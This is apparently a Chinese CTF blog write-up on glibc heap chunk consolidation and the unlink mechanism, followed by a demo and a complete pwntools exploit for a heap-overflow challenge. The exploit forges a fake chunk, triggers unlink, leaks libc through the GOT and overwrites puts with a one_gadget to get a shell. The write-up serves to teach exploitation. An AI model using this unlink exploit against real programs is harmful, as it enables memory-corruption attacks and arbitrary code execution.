玩pwn有一段时间了,最近有点生疏了,调起来都不顺手了,所以读读malloc源码回炉一点一点总结反思下。
Unlink是把free掉的chunk从所属的bins链中,卸下来的操作(当然还包括一系列的检测机制),它是在free掉一块chunk(除fastbin大小的chunk外)之后,glibc检查这块chunk相邻的上下两块chunk的free状态之后,做出的向后合并或者向前合并引起的。
向前、向后合并
p是指向free掉的chunk的指针(注意不是指向data的指针,是chunk),size是这块chunk的size。
向后合并
向后合并部分的代码在4277-4282行
向后合并流程:
-
检查p指向chunk的size字段的pre_inuse位,是否为0(也就是检查当前chunk的前一块chunk是否是free的,如果是则进入向前合并的流程)
-
获取前一块chunk的size,并加到size中(以此来表示size大小上已经合并)
-
根据当前chunk的presize来获得指向前一块chunk的指针
- 将这个指针传入unlink的宏(也就是让free掉的chunk的前一块chunk进入到unlink流程)
向前合并
如果free掉的chunk相邻的下一块chunk(下面用nextchunk表示,并且nextsize表示它的大小)不是topchunk,并且是free的话就进入向前合并的流程。(见代码4284-4289行)
如果nextchunk不是free的,则修改他的size字段的pre_inuse位。
如果nextchunk是topchunk则和topchunk进行合并。
ps:检测nextchunk是否free,是通过inuse_bit_at_offset(nextchunk, nextsize)来获得nextchunk的相邻下一块chunk的size字段的presize位实现的。
向前合并流程(见代码4290-4291):
-
让nextchunk进入unlink流程
- 给size加上nextsize(同理也是表示大小上两个chunk已经合并了)
unlink
unlink是个宏,但是在读代码的时候请把bk和fd当作变量。
ps:p是指向chunk的指针。
-
检查当前chunk的size字段与它相邻的下一块chunk中记录的pre_size是否一样如果不一样,就出现corrupted size vs. prev_size的错误
-
检查是否满足p->fd->bk==p和p->bk->fd==p,否则出现corrupted double-linked list,错误。
-
解链操作:fd->bk=bk和bk->fd=fd(学过循环双链表的都能看懂吧)
这里配上一张CTFwiki的图:
- 接下来的代码其实是对largechunk的一系列检测和处理机制,这里可以不用管,一般实战利用的时候都是对smallchunk进行利用的。
以上就是unlink的操作,本质上就是从glibc管理的bin链中解链以及解链前的安全检查(防止被利用)
那unlink之后又做了什么呢?
整理chunk结构并放入unsortedbin当中
不管是向前合并还是向后合并,unlink后都会来到4301-4318行。
其实做的是,将合并好的chunk加入到unsorted bin中第一个
并且如果这个chunk是samll chunk大小的话它是没有fd_nextsize和bk_nextsize的
然后就设置合并过后的chunk的头部(设置合并过后的size,已经合并形成的chunk的下一块chunk的pre_size字段)
unlink Demo调试验证
理论上面已经谈过了,butTalk is cheap,Debug is real!先来个小demo结合上面的原理感受下。
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
struct chunk_structure {
size_t prev_size;
size_t size;
struct chunk_structure *fd;
struct chunk_structure *bk;
char buf[10];
ps:**在这个Demo中假定chun1的数据内容是被攻击者可控的并且可以溢出修改到下面一个chunk
先malloc两个chunk,然后看看他们的地址
然后在chunk1中伪造一个chunk,使得fake_chunk->fd->bk==fakechunk和fake_chunk->bd->fd==fake_chunk来避过corrupted double-linked list检测。
因为要使得fake_chunk->fd—>bk==fakechunk的话,要使得fake_chunk->fd里面存的是存有chunk1的地址的变量往上偏移0x18,同理fake_chunk->bk也是要网上偏移0x10的。

然后修改好chunk2的presize字段为0x80就是chunk1的数据大小(用来避过corrupted size vs. prev_size检测的),和size字段的preinuse位为0(),从而达到欺骗glibc的机制,让它一位chunk2的前一块chunk(也就是chunk1)是free的,并且满足unlink所有的安全机制。这时候free掉chunk2的话就会触发向后合并。

看一看chunk1和chunk2的情况。以及完全构造好了。接下来就是free(chunk2)触发unlink。触发之后

chunk1的内容变成了&chunk1-3了。
这是因为fake_chunk->bk->fd=fake_chunk->fd,前面已经讲过fake_chunk->bk->fd指的是chunk1,而fake_chunk->fd指的是&chunk1-0x10.所以一unlink过后,chunk1里边存的是&chunk1-0x10的地址。
看看里边的内容:

画线的地方是chunk2存的内容,无疑是栈上的东西了。而它前一个8字节存的就是chunk1存的地址0x00007fffffffdcb8,对吧自己算算地址,不就是&chunk1-0x18了么?
经过原理探究和demo调试,心中已经对unlink有感觉了吧,再来道题,练练应该就没问题了吧。
在网上找了一个题,拖进ida看看
主菜单如图。关键部分是:**添加**,**删除**,**显示**,**编辑**
**添加**:
总共可以添加99个chunk,然后根据输入的lenth(长度没有限制),然后申请内存并记录在全局变量中,并且lenth也是记录在全局变量中的,然后往内存中读入内容。
**删除**:
根据输入的index,free掉对应的块,并将记录的地址和lenth清零。看来没有uaf。
**显示**:
直接遍历全局变量数组,打印对应内存的内容,可以用来泄露地址。
**编辑**:
根据输入的index和lenth来修改chunk的内容。(lenth是我们自己控制的,所以存在溢出修改)
综上分析,选择的思路是:
构造两个相邻块,来实现unlink的操作。
当时要要注意unlink的检测条件,所以申请了连续4个chunk,用index为1和2的chunk来构造Unlink所需的chunk。
unlink之后,存有index为2的指针变量就会指向他的地址-0x18处。然后通过edit index2,修改全局变量数组的内容为got表地址,从而泄露,然后再查查库,之后就好利用了,我这里使用的是one_gadget覆盖puts的got表.
**exp**:
```
from pwn import *
context.log_level="debug"
def add(len,content):
p.recvuntil("choice:")
p.send("2")
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servant:")
p.send(content)
def change(index,len,content):
p.recvuntil("choice:")
p.send("3")
p.recvuntil("servant:")
p.send(str(index))
p.recvuntil("name:")
p.send(str(len))
p.recvuntil("servnat:")
p.send(content)
def free(index):
p.recvuntil(":")
p.send("4")
p.recvuntil("servant:")
p.send(str(index))
def show():
p.recvuntil("ce:")
p.send("1")
libc=ELF("libc.so")
puts_got=0x602020
free_got=0x602018
binsh="/bin/sh"
ptr=0x6020e8
p=process("./pwn13")
add(0xf0,"aaa")
add(0xf0,"bbb")
add(0xf0,"ccc")
add(0xf0,"ddd")
change(2,0xf8,p64(0x110)+p64(0xf1)+p64(ptr-0x18)+p64(ptr-0x10)+(0xf8-0x28)*"a"+p64(0xf0)+p64(0xf0))
change(0,0x100,"a"*0xf8+p64(0x111))
free(1)
change(2,0x10,p64(0xf0)+p64(free_got))
show()
p.recvuntil("1 : ")
free_addr=u64(p.recv(6).ljust(8,'\0'))
print "free:"+hex(free_addr)
one_gadet=free_addr-libc.symbols['free']+0x45216
puts_addr=free_addr-libc.symbols['free']+libc.symbols['puts']
change(1,0x16,p64(puts_addr)+p64(one_gadet))
p.interactive()
阅读原文可见源文件哦~
地址:Glibc堆块的向前向后合并与unlink原理机制探究